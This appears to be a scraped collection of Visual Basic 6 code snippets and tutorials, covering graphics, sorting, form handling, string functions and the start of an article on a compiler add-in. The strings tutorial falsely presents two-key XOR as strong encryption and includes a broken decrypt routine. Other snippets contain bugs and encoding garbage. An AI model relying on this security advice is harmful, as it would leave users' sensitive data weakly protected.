Me.Line (x1, y1)-(x2, y2), RGB((Depth + 1) * 20, (Depth + 1) * 20, (Depth + 1) * 10 + 100 * Rnd)\n T = T + Bend * (Rnd - 0.5)\n x1 = x2\n y1 = y2\nNext i\n\n' If depth > 1, draw the attached branches.\nIf Depth > 1 Then\n Num_Branches = Int((Max_Branches - 1) * Rnd + 2)\n DT = 2 * DTheta / (Num_Branches - 1)\n T = theta - DTheta\n For i = 1 To Num_Branches\n New_Length = Length * (Length_Scale + RND_Scale * (Rnd - 0.5))\n New_Theta = T + RND_DTheta * (Rnd - 0.5)\n T = T + DT\n If Bend > 0 Then\n New_Bend = Bend * BendFactor\n If New_Bend > MaxBend Then New_Bend = MaxBend\n Else\n New_Bend = Bend\n End If\n DrawBranch New_Bend, Thickness - 1, Depth - 1, x1, y1, New_Length, Length_Scale, RND_Scale, New_Theta, DTheta, RND_DTheta, Max_Branches\n Next i\nEnd If\nEnd Sub\n"},{"WorldId":1,"id":24315,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24316,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24318,"LineNumber":1,"line":"Private Sub Form_Load()\n MsgBox IIf(FileIsOld(\"C:\\AutoExec.bat\"), \"The file is old\", \"The file is new\")\nEnd Sub\nFunction FileIsOld(ByRef pStrFilePath As String) As Boolean\n \n Dim llngMinutesOld As Long\n Dim ldtmLastModified As Date\n Dim llngFileAttr As VbFileAttribute\n \n Const llngMinutesOldAfter As Long = 10\n \n On Error Resume Next\n \n llngFileAttr = FileSystem.GetAttr(pStrFilePath)\n \n If Err Then\n MsgBox \"File does not exist.\"\n Exit Function ' file doesn't exist\n End If\n \n On Error GoTo 0\n \n If Len(FileSystem.Dir(pStrFilePath, llngFileAttr)) = 0 Then Exit Function\n \n ldtmLastModified = FileSystem.FileDateTime(pStrFilePath)\n \n llngMinutesOld = DateDiff(\"n\", ldtmLastModified, Now())\n \n FileIsOld = llngMinutesOld > pLngMinutesOldAfter\nEnd Function"},{"WorldId":1,"id":24319,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24328,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24330,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24334,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24335,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24337,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24340,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24342,"LineNumber":1,"line":"Option Explicit\nPrivate Declare Sub CopyMemory _\n Lib \"kernel32\" _\n Alias \"RtlMoveMemory\" ( _\n lpDest As Any, _\n lpSource As Any, _\n ByVal cbCopy As Long _\n )\nPrivate Sub Command1_Click()\n ' Sort an array with CopyMemory()\n \n Dim i As Integer\n Dim str_Unsorted As String, str_Sorted As String\n \n ' Populate some sample data\n Dim vArray(25) As String\n vArray(0) = \"EFGHIJKLMNOPQRSTUVWXYZABCD\"\n vArray(1) = \"RSTUVWXYZABCDEFGHIJKLMNOPQ\"\n vArray(2) = \"PQRSTUVWXYZABCDEFGHIJKLMNO\"\n vArray(3) = \"DEFGHIJKLMNOPQRSTUVWXYZABC\"\n vArray(4) = \"IJKLMNOPQRSTUVWXYZABCDEFGH\"\n vArray(5) = \"ZABCDEFGHIJKLMNOPQRSTUVWXY\"\n vArray(6) = \"HIJKLMNOPQRSTUVWXYZABCDEFG\"\n vArray(7) = \"LMNOPQRSTUVWXYZABCDEFGHIJK\"\n vArray(8) = \"STUVWXYZABCDEFGHIJKLMNOPQR\"\n vArray(9) = \"TUVWXYZABCDEFGHIJKLMNOPQRS\"\n vArray(10) = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ\"\n vArray(11) = \"CDEFGHIJKLMNOPQRSTUVWXYZAB\"\n vArray(12) = \"VWXYZABCDEFGHIJKLMNOPQRSTU\"\n vArray(13) = \"MNOPQRSTUVWXYZABCDEFGHIJKL\"\n vArray(14) = \"FGHIJKLMNOPQRSTUVWXYZABCDE\"\n vArray(15) = \"JKLMNOPQRSTUVWXYZABCDEFGHI\"\n vArray(16) = \"YZABCDEFGHIJKLMNOPQRSTUVWX\"\n vArray(17) = \"XYZABCDEFGHIJKLMNOPQRSTUVW\"\n vArray(18) = \"OPQRSTUVWXYZABCDEFGHIJKLMN\"\n vArray(19) = \"BCDEFGHIJKLMNOPQRSTUVWXYZA\"\n vArray(20) = \"GHIJKLMNOPQRSTUVWXYZABCDEF\"\n vArray(21) = \"KLMNOPQRSTUVWXYZABCDEFGHIJ\"\n vArray(22) = \"NOPQRSTUVWXYZABCDEFGHIJKLM\"\n vArray(23) = \"WXYZABCDEFGHIJKLMNOPQRSTUV\"\n vArray(24) = \"QRSTUVWXYZABCDEFGHIJKLMNOP\"\n vArray(25) = \"UVWXYZABCDEFGHIJKLMNOPQRST\"\n \n ' Here's the unsorted array\n For i = 0 To UBound(vArray)\n str_Unsorted = str_Unsorted & vArray(i) & vbCrLf\n Next i\n MsgBox str_Unsorted\n \n QuickSortMe vArray\n \n ' Here's the sorted array\n For i = 0 To UBound(vArray)\n str_Sorted = str_Sorted & vArray(i) & vbCrLf\n Next i\n MsgBox str_Sorted\n \n \nEnd Sub\nSub BubbleSortMe(varArray() As String)\n Dim i As Long, j As Long\n Dim l_Count As Long\n Dim l_Hold As Long\n \n ' Typical sorting routine\n l_Count = UBound(varArray)\n For i = 0 To l_Count\n For j = i + 1 To l_Count\n If varArray(i) > varArray(j) Then\n ' Here's the juice!\n SwapStrings varArray(i), varArray(j)\n End If\n Next\n Next\nEnd Sub\nSub QuickSortMe(varArray() As String, Optional l_First As Long = -1, Optional l_Last As Long = -1)\n \n Dim l_Low As Long\n Dim l_Middle As Long\n Dim l_High As Long\n \n Dim v_Test As Variant\n \n If l_First = -1 Then\n l_First = LBound(varArray)\n End If\n \n If l_Last = -1 Then\n l_Last = UBound(varArray)\n End If\n \n If l_First < l_Last Then\n l_Middle = (l_First + l_Last) / 2\n v_Test = varArray(l_Middle)\n l_Low = l_First\n l_High = l_Last\n \n Do\n While varArray(l_Low) < v_Test\n l_Low = l_Low + 1\n Wend\n While varArray(l_High) > v_Test\n l_High = l_High - 1\n Wend\n If (l_Low <= l_High) Then\n SwapStrings varArray(l_Low), varArray(l_High)\n l_Low = l_Low + 1\n l_High = l_High - 1\n End If\n Loop While (l_Low <= l_High)\n \n If l_First < l_High Then\n QuickSortMe varArray, l_First, l_High\n End If\n \n If l_Low < l_Last Then\n QuickSortMe varArray, l_Low, l_Last\n End If\n \n End If\nEnd Sub\n\nSub SwapStrings(pbString1 As String, pbString2 As String)\n Dim l_Hold As Long\n CopyMemory l_Hold, ByVal VarPtr(pbString1), 4\n CopyMemory ByVal VarPtr(pbString1), ByVal VarPtr(pbString2), 4\n CopyMemory ByVal VarPtr(pbString2), l_Hold, 4\nEnd Sub"},{"WorldId":1,"id":24343,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24345,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24346,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24348,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24357,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24359,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24363,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24364,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24367,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24373,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24374,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24383,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24388,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24389,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24392,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24403,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24422,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24424,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24425,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24426,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24427,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24433,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24437,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24444,"LineNumber":1,"line":"<<<General_Declaration>>> \nDim ism as boolean \n \nPublic Type POINTAPI \n x As Long \n y As Long \nEnd Type \n \nPrivate Declare Function SetCursorPos Lib \"user32\" (ByVal x As Long, ByVal y As Long) As Long \n \nPrivate Declare Function GetCursorPos Lib \"user32\" (lpPoint As POINTAPI) As Long \n<hr> \n \n \nPrivate Sub lbltitle_MouseDown(Button As Integer, Shift As Integer, x As Single, y As Single) \nism = True \nx1 = x + lblTitle.Left \ny1 = y + lblTitle.Top \nEnd Sub \n<hr> \n \nPrivate Sub lbltitle_MouseMove(Button As Integer, Shift As Integer, x As Single, y As Single) \nIf ism = True Then \ni = GetCursorPos(Pos) \nx2 = Pos.x * Screen.TwipsPerPixelX \ny2 = Pos.y * Screen.TwipsPerPixelY \nMe.Move (x2 - x1), (y2 - y1) \nEnd If \nEnd Sub \n<hr> \n \nPrivate Sub lbltitle_MouseUp(Button As Integer, Shift As Integer, x As Single, y As Single) \nIf Me.Top < 0 Then Me.Top = 0 \nIf Me.Left < 0 Then Me.Left = 0 \nIf Me.Top > (Screen.Height - (Me.Height / 10)) Then Me.Top = Screen.Height * 9 / 10 \nIf Me.Left > (Screen.Width - (Me.Width / 10)) Then Me.Left = Screen.Width * 9 / 10 \nism = False \nEnd Sub \n \n</body> \n \n</html>"},{"WorldId":1,"id":24464,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24465,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24466,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24471,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24473,"LineNumber":1,"line":"Add a menu item named 'mnuCreate' with a caption of \"&Create\nWebBrowser\"\nPlace the following code into a standard VB 6.0 form.\n<hr>\n \nPrivate m_WebControl As VBControlExtender \n \nPrivate Sub Form_Resize() \nOn Error Resume Next \n┬á┬á┬á ' resize webbrowser to entire size of form \n┬á┬á┬á m_WebControl.Move 0, 0, ScaleWidth, ScaleHeight \nEnd Sub \n \nPrivate Sub mnuCreate_Click() \nOn Error GoTo ErrHandler \n \n┬á┬á┬á ' attempting to add WebBrowser here ('Shell.Explorer.2' is registered \n┬á┬á┬á ' with Windows if a recent (>= 4.0) version of Internet Explorer is installed \n┬á┬á┬á Set m_WebControl = Controls.Add(\"Shell.Explorer.2\", \"webctl\", Me) \n \n┬á┬á┬á ' if we got to here, there was no problem creating the WebBrowser \n┬á┬á┬á ' so we should size it properly and ensure it's visible \n┬á┬á┬á m_WebControl.Move 0, 0, ScaleWidth, ScaleHeight \n┬á┬á┬á m_WebControl.Visible = True \n \n┬á┬á┬á ' use the Navigate method of the WebBrowser control to open a \n┬á┬á┬á ' web page \n┬á┬á┬á m_WebControl.object.navigate \"http://www.planet-source-code.com\" \n \n┬á┬á┬á Exit Sub \nErrHandler: \n┬á┬á┬á MsgBox \"Could not create WebBrowser control\", vbInformation \nEnd Sub \n\n"},{"WorldId":1,"id":24474,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24475,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24480,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24490,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24498,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24503,"LineNumber":1,"line":"'*** put the following code in a module or something normal\nPublic Sub ResizeOMatic(frm As Form, adj() As CtlAdj)\n '** ResizeOMatic :: this sub moves and resizes controls on the form based\n '** on the adjustment data passed. Each element of the adj array should be\n '** in sequence as long as VB enumerates the controls in the same order as it\n '** did when the adj array was built (sub RegisterForm)\n \n Dim tmpControl As Control\n Dim index As Long\n \n On Error Resume Next 'keepin it real\n \n index = 0\n For Each tmpControl In frm\n index = index + 1\n \n Select Case LCase$(tmpControl.Tag)\n \n Case \"rx\" 'relative X\n tmpControl.Left = frm.width - tmpControl.width - adj(index).adjX\n \n Case \"ry\" 'relative Y\n tmpControl.Top = frm.height - tmpControl.height - adj(index).adjY\n \n Case \"rxy\" 'relative XY\n tmpControl.Left = frm.width - tmpControl.width - adj(index).adjX\n tmpControl.Top = frm.height - tmpControl.height - adj(index).adjY\n \n Case \"sx\" 'stretch X\n tmpControl.width = frm.width - tmpControl.Left - adj(index).adjX\n \n Case \"sy\" 'stretch Y\n tmpControl.height = frm.height - tmpControl.Top - adj(index).adjY\n \n Case \"sxy\" 'stretch XY\n tmpControl.width = frm.width - tmpControl.Left - adj(index).adjX\n tmpControl.height = frm.height - tmpControl.Top - adj(index).adjY\n \n End Select\n \n Next\n \nEnd Sub\n\nPublic Sub RegisterForm(frm As Form, width As Long, height As Long, adj() As CtlAdj)\n '** RegisterForm :: this sub enumerates the controls on the form and records\n '** the positions of the bottom right corner of the control. We have to pass the\n '** width and height parameters (initial point of reference) because MDI\n '** automagically sizes forms. The adjustment data is used in Sub ResizeOMatic\n \n Dim tmpControl As Control\n \n ReDim adj(0)\n On Error Resume Next 'keepin it real\n \n For Each tmpControl In frm\n ReDim Preserve adj(UBound(adj) + 1)\n adj(UBound(adj)).adjX = width - (tmpControl.Left + tmpControl.width)\n adj(UBound(adj)).adjY = height - (tmpControl.Top + tmpControl.height)\n Next\n \nEnd Sub\n'*********** The following code is a form\n'*********** demonstrating how to use it\nPrivate Sizedata() As CtlAdj\nPrivate Sub Form_Load()\n \n '** load your stuff here\n \n 'call this near the end of the form_load()\n'Note: On MDI child forms, you should manually\n'specify the width and height to your design time\n'size to keep proper proportions\n RegisterForm Me, Me.Width, Me.Height, Sizedata()\n \nEnd Sub\nPrivate Sub Form_Resize()\n \n ResizeOMatic Me, Sizedata()\n \nEnd Sub\n"},{"WorldId":1,"id":24508,"LineNumber":1,"line":"Sub Command1_Click ()\nRandomize 'makes it random\n 'makes a random number, 1 - 100 in Label1\n Value = Int(100 * Rnd)\n Label1.Caption = Str$(Value)\nEnd Sub"},{"WorldId":1,"id":24509,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24513,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24515,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24517,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24520,"LineNumber":1,"line":"Yet another winsock article. I made this article after downloading a portscanner on PSC. \nIt said something about scanning 100 ports in few seconds. Anyway it wasn't very good, it just opened a new socket for every port so if you wanted to scan a lot of ports, you needed to load many sockets, and it took a great deal of resources. anyway: \nThis will teach you how to select the amount of sockets you want to open, and then scan ports. Just a basic portscanner, nothing special works but with no features. \nRemeber to download the zip if you want the project to be in with the aricle. \nIn the compressed there is 3 folders. \narticle: The article \nsimple: The simple portscanner we make in the article \nscanner: A better portscanner, not that the scanning code is, but better look and some other features. \n<A HREF=\"http://hjem.get2net.dk/birk-jensen/pscode/portscn/article/1.htm\" TARGET=\"_blank\">Article</A> - The article online \n<A HREF=\"http://hjem.get2net.dk/birk-jensen/pscode/portscn.zip\" TARGET=\"_blank\">Compressed</A> - The compressed flie (recomended download), also containing article \nPlease leave some comments \nThe editor article that is linked to in this article, isn't uploaded yet, and will first be uploaded after Roskilde Festival if I have time before I go on vacaion (Juli 1st)"},{"WorldId":1,"id":24521,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24534,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24535,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24536,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24541,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24546,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24550,"LineNumber":1,"line":"Public Function BigDecToHex(ByVal DecNum) As String\n ' This function is 100% accurate untill 15,000,000,000,000,000 (1.5E+16)\n \n Dim NextHexDigit As Double\n Dim HexNum As String\n \n HexNum = \"\"\n While DecNum <> 0\n NextHexDigit = DecNum - (Int(DecNum / 16) * 16)\n \n If NextHexDigit < 10 Then\n HexNum = Chr(Asc(NextHexDigit)) & HexNum\n Else\n HexNum = Chr(Asc(\"A\") + NextHexDigit - 10) & HexNum\n End If\n \n DecNum = Int(DecNum / 16)\n Wend\n If HexNum = \"\" Then HexNum = \"0\"\n BigDecToHex = HexNum\nEnd Function\n"},{"WorldId":1,"id":24559,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24582,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24583,"LineNumber":1,"line":"<html>\n<head>\n<meta http-equiv=\"Content-Type\"\ncontent=\"text/html; charset=iso-8859-1\">\n<meta name=\"GENERATOR\" content=\"Microsoft FrontPage 4.0\">\n<title>Doing Strings In VB</title>\n</head>\n<body bgcolor=\"#FFFFFF\" link=\"#0000FF\" vlink=\"#800080\">\nDoing Strings In VB Part\n1 \nBy Cyril ‘Razoredge’ Gupta \nMail: <a href=\"mailto:cyril@icnol.com\">cyril@icnol.com</a> \nWarning: The code presented here is not indented properly because\nHTML won't let me put a space or a tab character before the text.\nPlease indent the code if you plan to use the reuse the code in\nyour program.\nStrings are an indispensable\npart of almost all VB software; you will need to use strings in\nalmost all the software you ever make.\nLet’s start with \nWhat is a string and where do you use it? \nIn VB String is a length of text assigned to a variable of type\nVariant or of type String. A string can store a maximum of around\n2 billion characters between ASCII value 32 to 256. Strings mean\na lot to a programmer. They can hold important data, which the\nuser reads, intermediate values, comments, or can be used simply\nto test if the software works correctly. People store text in\nstrings in .INI files, in the windows registry .RES files and\nother text resources. \nStrings in a file \nYou may often need to store and retrieve text from a file.\nHere’s how \nRetrieving text from a file \nVB6 and VB5 introduced the new File object handling system but\nmoldy programmers like me still prefer the old Open Statement.\nHere’s sample code that does that\nDim MyFileText\nAs String ‘Makes a String Variable Called MyFileText \nOpen "MYFILE.TXT" for input as #1 ‘Opens The File\nAnd Names It #1 \nMyFileText = Input$(Lof(1),1) ‘Assigns The Text In The File\nTo MyFileText \nClose #1 ‘Closes The File \n\nOpen\n"MYFILE.TXT" for Input as #1 ‘Opens The File And\nNames It #1 \nThis line does the actual\nopening bit. Myfile.Txt is the name of the file to be opened. You\ncan open a file in many ways for many purposes. I’ve used\nInput Mode here because I just want to read the contents of the\nfile. If you want to write to a file use Output, use\nAppend to add in the end of the file and Random if you have a\nDatabase in the file. Binary Mode can be used to load Bitmap or\nSound Files. #1 is the number of the file. Whenever you want\nto work on the file you will access it using that number.\nMyFileText =\nInput$(Lof(1),1) ‘Assigns The Text In The File To MyFileText \nThis line assigns the\ncontents of the file to MyFileText variable. Input$ Function\nreads data from a file using the file number. \nThe first argument of Input$ is Lof(1).\nThe LOF function retrieves the length of a file in number of\ncharacters. The second argument 1 is the number of file,\nwhich has to be read. So in practice we tell VB to read the\nentire length [LOF(1)] of file number 1 in the variable\nMyFileText.\nClose #1\n‘Closes The File \nThis statement closes the\nfile and frees file number 1. It’s a good practice to close\nthe file immediately after you’ve read the contents in a\nvariable to free resources and avoid problems caused by a file\nthat remains open all the while the software is running. \nProblems with Opening File \nFor most problems VB gives a self evident error message which\ndocuments in detail the problem and allows the error to be\ntrapped and rectified. However there’s a special case which\nforced me to rack my brains for quite a while when I was new to\nprogramming.\nVB won’t recognize and read\na file with a null terminated string in the normal input mode. Now in most editors like\nNotePad etc., no null terminated string is added at the end of\nthe file but in some special cases, specially when the files has\nbeen used for Binary purposes there may be a null terminated\nstring at the end of the file, and the file has to be opened in Binary mode in\nVB, if you try to open it in input mode, there will be some cryptic error.Rectifying this problem is quite easy, just remove the last\ncharacter from the file and it gets opened fine.\nWriting Strings to Files \nTo put your string in a file use Output instead of Input to\nopen the file. To save your string into the file you can either\nuse Write # or Print # in this way.\nWrite\n#FileNumber, TheText \nOr \nPrint\n#FileNumber, TheText\nSearching Stuff in Strings \nYou may often need to search for a word in lengths of text.\nVisual Basic’s Instr function does this great.\nDim WordPos \nWordPos = Instr(1, MyText, MyWord, VbTextCompare)\nHere WordPos holds the position\nof the first character of the word if it is found in the file. \nThe first argument\n‘1’ specifies the character no. from where Instr\nshould start looking. This is useful when you need to do multiple\nsearches or search from the middle of the text. You can also\nleave this option blank if you want to search from the beginning\nof the text.\nThe second argument\n‘MyText’ specifies the name of the string variable\nthat has to be searched. You can also use a string length like\nthis one ("I can use This String Instead Of MyText")\ninstead of the variable.\nThe third argument\n‘MyWord’ is the word or character that has to be\nsearched in MyText. MyWord can also be a string instead of a\nvariable.\nThe fourth argument\n‘VbTextCompare’ decides the mode of the comparison.\nBy default the mode is Binary. Here I am doing a comparison\nbetween two strings, that’s why I have used VbTextCompare\ninstead of the default VbBinaryCompare.\nVbTextCompare is inferior to\nBinary compare in speed. In fact when I ran a test which tried\nfinding the letter ‘A’ in a string comprising of all\nalphabets VbTextCompare took twice the time needed by\nVbBinaryCompare to finish the searches. However I still prefer\nusing VbTextCompare in most cases because VbBinaryCompare thinks\nCapital ‘A’ and small ‘a’ are different\ncharacters and won’t provide a match if the case is\ndifferent in the searched word and original string.\nIf Instr is successful in\nfinding a match it returns the position of the first character in\nthe word. If it is unsuccessful the function returns 0.\nExtracting parts from a\nstring \nYou may often to extract specific portion of a string and use\nthem. VB has three functions for extracting string parts. Left,\nMid & Right.\nVB Pros and Code invigilators\nrecommend using Mid for all types of extraction. It is entirely\npossible to do almost everything with Mid, but they won’t\nhave made Left & Right if they weren’t supposed to be\nused.\nTheText =\nLeft(MyText,NoOfCharacters) \nLeft function retrieves\nspecified number of characters from the left of the specified\nstring for e.g. if you wrote MyText = Left("ABCD",3)<font\nsize=\"2\" face=\"Verdana\"> then left would give you\n"ABC". \nRight returns the specified\nnumber of characters from the rightmost part of the string. \nMid is by far the most versatile, useful function which can serve\nthe function of both Left, Right and also extract text from the\nmiddle of the document.\nMyText =\nMid(TheText,StartPos,LenOfText) \nThe first argument\n‘TheText’ is the name of the string from which the text\nhas to be extracted. \nThe second argument ‘StartPos’ is the character\nposition from which Mid should start taking the text. \nThe third argument ‘LenOfText’ is the no of characters\nthat have to be picked up.\nReplacing Text In Strings \nYou can include this feature in your software using the Left,\nRight, Mid and Instr functions. Let’s see some sample code\nwhich ‘B’ with ‘F’ in a string ABCD in this\nfashion.\nDim TheText as\nString = "ABCD" \nDim WordPos as Integer \nDim MyTextLeft as String \nDim MyTextRight as String\nFirst find the text using Instr \nWordPos =\nInstr(TheText, "B") ‘returns 2\nUse Left to take text before the\nsearched character or word \nMyTextLeft =\nLeft(TheText, WordPos-1)\nUse Right to take text after the\nsearched character \nMyTextRight\n= Right(TheText, len("ABCD")-WordPos) \nOr \nMyTextRight\n=\nMid(TheText,WordPos+len("B"),len(TheText)-WordPos+len("B"))\nPut The Two Strings Together\nwith the replaced character \nTheText =\nMyTextLeft & "F" & MyTextRight\nThe Modus Operandi here is quite\nsimple. We look for the string in the text, take all the text\nthat is prior to the string with the left function, and all the\ntext that is present after the string using the Right or Mid\nfunction. The two strings are then put together with the\nreplacement text or no text if the part of the string has to be\ndeleted.\nReplacing Easily \nIf you were intimidated by the long length and seemingly\ncomplex code, you can do this much more easily if you have VB6.\nThe new Replace function eliminates several lines of code with a\nsingle line. \nFor e.g. if I want to replace all "BBBB" with\n"C" I would use \nReplace("BBBB","B","C")\nHere the first argument is the\noriginal text, Second is the text to be searched and the third is\nthe alternative text. \nYou can also specify the number of found words to be replaced\nusing an extra Count argument, i.e. set count as 1 if you want to\nreplace only the first find and none other or leave it to the\ndefault to replace all finds. \nEncyrpting Strings \nIf you’ve ever though about storing passwords or other\nsensitive data in a file or a string you must have thought\nEncrypting it. Several algorithms of encryption exist in the\nmarket and some of them are very complex. You can make a simple\nalgorithm of your own by replacing the ASCII value of the\ncharacters, however the approach provides a weak form of\nencryption and can be broken very easily. However you can do\nquality encryption very easily using the VB Xor function.\nHere’s a Function Which Encrypts text using the numerical\nkeys provided by the user.\nPublic Function\nXorEncrypt(Byval TheText As String, Byval Key1 As Integer, Byval\nKey2 As Integer) As String \nFor I = 1 to Len(TheText) \nXorEncrypt = XorEncrypt & Asc(Mid(TheText, I, 1)) Xor Key1\nXor Key2 & "." \nNext \nEnd Function\nThis extremely small function\nuses the unique features of Xor to provide good quality\nEncryption. First the ASCII value of the character is Xor’d\nwith Key1 and then the resultant value is Xor’d with Key2\nresulting in a random number that’s very hard to decrypt,\nthe number is delimited by the period sign to distinguish two\ncharacters from each other. Xor performs a bitwise calculation.\nIf you perform a Xor on two numbers and then Xor the resultant\nfigure with any of the two numbers Xor returns the other number.\nPublic Function\nXorDecrypt(Byval TheText As String, Byval Key1 As Integer, Byval\nKey2 As Integer) As String \nDim PeriodPos as Integer \nDo \nPeriodPos = instr(TheText,".") \nIf Not PeriodPos=0 Then \nTheXordNum=Mid(TheText,1,PeriodPos-1) \nXorDecrypt = XorDecrypt & Chr(Xor(Xor(TheXordNum, Key2),\nKey1)) \nTheText = Mid(TheText, PeriodPos+1) \nElse \nExit Do \nEndif \nEnd Function\nThere’s still a lot more to\nstrings, in fact a lot-lot more, we could talk about storing\nStrings in .INI files, strings in registry, strings in Random\nAccess Files, Strings Compiled in .EXEs with resources and a\nwhole lot of other types of strings, but, I guess we won’t\nbe covering all that in this article. If you found this of any\nhelp please drop me a mail and I’ll try to write all the\nother parts as quick as possible.\nSearching for Stuff \nThe most common functionality needed by any user is searching. You can use\nthe 'Instr' statement for performing searched in VB. This is how a typical instr\nlooks.\nSearchPos\n= instr(1,"ABCD","C",vbTextCompare)\nMost of you should already be familiar with the\ninstr statement, so I am not going to explain it here. The thing that needs a\nthough is the last parameter, vbTextCompare. What parameter you pass to this\noption decides how fast your search will be. If you use vbTextCompare, instr\nignore case and search strings in both upper case and lower case, but the speed\nwill be slowed tremendously. If you use vbBinaryCompare, it speeds up the search\nmore than 10 times, but will match case will searching. Personally I recommend\nyou use vbBinaryCompare, if you can, the speed gained is tremendous. \nThanks \nRazoredge \nE-mail: <a href=\"mailto:psl@nde.vsnl.net.in\"><font\nsize=\"2\" face=\"Verdana\">psl@nde.vsnl.net.in</a>\n</body>\n</html>\n"},{"WorldId":1,"id":24591,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24592,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24596,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24603,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24604,"LineNumber":1,"line":"strWindir = Environ(\"WinDir\") ' ->C:\\Windows\nstrTempDir = Environ(\"temp\") ' ->C:\\Windows\\Temp\nstrTempDir = Environ(\"tmp\") ' ->C:\\Windows\\Temp"},{"WorldId":1,"id":24607,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24610,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24614,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24616,"LineNumber":1,"line":"Take Control\nof the Compiler \nFor VB5 and VB6\n┬á\nAuthor's Note: This is article is a rewritten excerpt of an\noriginal written by John Chamberlain, a director of software development at\nClinical NetwoRx (cnrx.com). He can be reached by e-mail at <a href=\"mailto:jchamber@lynx.dac.neu.edu\">jchamber@lynx.dac.neu.edu</a>.\nGive credit and props for the original code and article to him. I am merely\nrewriting this to put everything into a better perspective for most of the\npeople on PSC.\nObjectives\nIn the accompanying article and source code, you will learn how\nto write an add-in that allows you to do the following:\n<ol>\n <li>\n View your application's native/object source</li>\n <li>\n Perform selective compilation of your project</li>\n <li>\n Statically link non-VB modules (use true in-line\n C, C++, and assembly code in your projects)</li>\n <li>\n Export functions in your program to a normal, non-ActiveX\n DLL (an API DLL)</li>\n <li>\n Hook API calls by patching the import address table (IAT)\n (sometimes called the \"thunk table\")</li>\n <li>\n Access CPU registers</li>\n <li>\n Increase your program's stack</li>\n <li>\n Change your program's entry point</li>\n <li>\n Increase the maximum number of modules</li>\n <li>\n Call procedures by address</li>\n</ol>\nRequired Tools\nIn order to perform the presented objectives, you will need the\nfollowing:\n<ul>\n <li>\n Visual Basic 5.0 or 6.0 (sorry, VB.NET doesn't work with\n this code)</li>\n <li>\n A C compiler, preferably Visual C++</li>\n <li>\n A debugger, such as SoftIce (if you don't want to spend the\n money or time downloading a debugger, you'll be able to write your own after\n reading this article)</li>\n <li>\n An assembler, preferably Macro Assembler (MASM)</li>\n</ul>\n<hr>\nBackground Information You Need To Read\nDespite what people may think, Visual Basic isn't a true\nlanguage.┬á What many people don't understand is that Visual Basic's\ncompiler only generates native code.┬á This gives your programs better\nperformance, and above all, bullet-proof security for your source.┬á After\nall, how many VB5 and VB6 decompilers do you know of?┬á All this\nmeans you have less control over how your binary programs are complied, which\ncan give you a major headache when you want to keep the number of dependent\nfiles to a bare minimum.┬á Alas, all is not lost.┬á You now have the\npower to seize control of Visual Basic and give it back to your program.┬á\nAs you read, you will be able to intercept VB's native code generation and link\ncustom object modules into your project\nHowever, this after-the-fact added availability has a\nforewarning that is worth mentioning: Microsoft will NOT like the idea that\nthere are programs out there that can now intercept internal API calls of the VB\nenvironment (and most of Windows for that matter).┬á This rules out giving\nyou access to compiler.┬á But that is exactly what this article and code\naccomplishes.\n<blockquote>\n **CRASH-YOUR-COMPUTER WARNING** You\n can safely view the assembly source code of your projects using this add-in,\n but you can count on seeing a lot of General Protection Faults if you\n use the add-in to start inserting your own C or assembly code in a VB\n binary.┬á I'm not saying it shouldn't be done, but I am saying you need to\n consider the power vs. danger trade-off carefully, as you do with any advanced\n 